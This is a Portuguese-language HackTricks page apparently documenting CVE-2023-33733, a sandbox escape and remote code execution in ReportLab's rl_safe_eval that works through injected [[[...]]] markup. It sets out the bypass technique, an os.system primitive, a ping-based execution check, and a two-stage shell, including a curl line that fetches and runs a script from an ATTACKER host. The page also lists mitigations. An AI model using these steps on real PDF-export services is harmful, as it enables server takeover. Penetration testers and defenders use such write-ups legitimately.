ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)

Reading time: 6 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Esta página documenta um escape prático de sandbox e um primitivo de RCE em rl_safe_eval do ReportLab usado por xhtml2pdf e outros pipelines de geração de PDF ao renderizar HTML controlado pelo usuário em PDFs.

CVE-2023-33733 afeta versões do ReportLab até e incluindo 3.6.12. Em certos contextos de atributo (por exemplo color), valores envoltos em triple brackets [[[ ... ]]] são avaliados no servidor por rl_safe_eval. Ao construir um payload que pivota de um builtin permitido (pow) para os globals da sua função Python, um atacante pode alcançar o módulo os e executar comandos.

Pontos-chave

  • Gatilho: injete [[[ ... ]]] em atributos avaliados como dentro de marcação parseada pelo ReportLab/xhtml2pdf.
  • Sandbox: rl_safe_eval substitui builtins perigosos mas funções avaliadas ainda expõem globals.
  • Bypass: crie uma classe transitória Word para contornar as verificações de nome do rl_safe_eval e acessar a string "globals" enquanto evita o filtro de dunder bloqueado.
  • RCE: getattr(pow, Word("globals"))["os"].system("")
  • Estabilidade: retorne um valor válido para o atributo após a execução (para color, use and 'red').

Quando testar

  • Aplicações que expõem a exportação HTML-to-PDF (perfis, faturas, relatórios) e que mostram xhtml2pdf/ReportLab em metadados do PDF ou comentários na resposta HTTP.
  • exiftool profile.pdf | egrep 'Producer|Title|Creator' → produtor "xhtml2pdf"
  • A resposta HTTP para o PDF frequentemente começa com um comentário do gerador ReportLab

Como o bypass da sandbox funciona

  • rl_safe_eval remove ou substitui muitos builtins (getattr, type, pow, ...) e aplica filtragem de nomes para negar atributos que começam com __ ou que estão numa denylist.
  • No entanto, funções "seguras" existem em um dicionário globals acessível como func.globals.
  • Use type(type(1)) para recuperar a função builtin type real (contornando o wrapper do ReportLab), então defina uma classe Word derivada de str com comportamento de comparação mutado de modo que:
  • .startswith('') → sempre False (contorna a verificação startswith(''))
  • .eq retorna False apenas na primeira comparação (contorna as verificações de membership da denylist) e True depois (para que getattr do Python funcione)
  • .hash igual a hash(str(self))
  • Com isso, getattr(pow, Word('globals')) retorna o dict globals da função empacotada pow, que inclui um módulo os importado. Então: ['os'].system('').

Padrão mínimo de exploração (exemplo em atributo) Coloque o payload dentro de um atributo avaliado e assegure que ele retorne um valor de atributo válido via boolean e 'red'.

exploit

  • A forma por list-comprehension permite uma única expressão aceitável para rl_safe_eval.
  • O sufixo and 'red' retorna uma cor CSS válida para que a renderização não quebre.
  • Substitua o comando conforme necessário; use ping para validar a execução com tcpdump.

Fluxo operacional

  1. Identificar o gerador de PDF
  • O Producer do PDF mostra xhtml2pdf; a resposta HTTP contém um comentário do ReportLab.
  1. Encontre uma entrada refletida no PDF (ex.: profile bio/description) e dispare uma exportação.
  2. Verifique a execução com ICMP de baixo ruído
  • Run: sudo tcpdump -ni icmp
  • Payload: ... system('ping <your_ip>') ...
  • O Windows frequentemente envia exatamente quatro solicitações de echo por padrão.
  1. Estabelecer uma shell
  • Para Windows, uma abordagem confiável em duas etapas evita problemas de quoting/encoding:
  • Stage 1 (download):

exploit

  • Stage 2 (execute):

exploit

  • Para targets Linux, é possível um fluxo em duas etapas similar com curl/wget:
  • system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

Notas e dicas

  • Contextos de atributos: color é um atributo conhecido que é avaliado; outros atributos na marcação do ReportLab também podem avaliar expressões. Se um local for sanitizado, tente outros renderizados no fluxo do PDF (diferentes campos, estilos de tabela, etc.).
  • Quoting: mantenha comandos compactos. Downloads em duas etapas reduzem drasticamente problemas de quoting e escaping.
  • Confiabilidade: Se exports forem cacheados ou enfileirados, varie levemente o payload (ex.: caminho ou query aleatória) para evitar caches.

Mitigações e detecção

  • Atualize o ReportLab para 3.6.13 ou posterior (CVE-2023-33733 corrigido). Acompanhe advisories de segurança em pacotes da distro também.
  • Não alimente HTML/markup controlado pelo usuário diretamente no xhtml2pdf/ReportLab sem uma sanitização rigorosa. Remova/negue as construções de avaliação [[[...]]] e tags específicas do vendor quando a entrada for não confiável.
  • Considere desabilitar ou envolver (wrap) o uso de rl_safe_eval inteiramente para entradas não confiáveis.
  • Monitore por conexões outbound suspeitas durante a geração de PDFs (ex.: ICMP/HTTP a partir de servidores de aplicação ao exportar documentos).

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks